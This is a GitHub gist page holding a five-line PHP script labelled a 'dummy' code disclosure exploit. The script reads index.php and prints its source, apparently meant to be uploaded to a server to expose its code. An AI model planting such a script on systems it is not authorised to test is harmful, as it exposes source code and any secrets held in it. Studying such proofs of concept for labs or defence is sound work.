Skip to content

Instantly share code, notes, and snippets.

@LucasVanHaaren
Last active June 27, 2023 07:43
Show Gist options
  • Save LucasVanHaaren/c66d75283cad294f91a58f403d8ee7af to your computer and use it in GitHub Desktop.
Save LucasVanHaaren/c66d75283cad294f91a58f403d8ee7af to your computer and use it in GitHub Desktop.
Dummy PHP code disclosure exploit
<?php
$myfile = fopen("index.php", "r") or die("Unable to open file!");
echo fread($myfile,filesize("index.php"));
fclose($myfile);
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment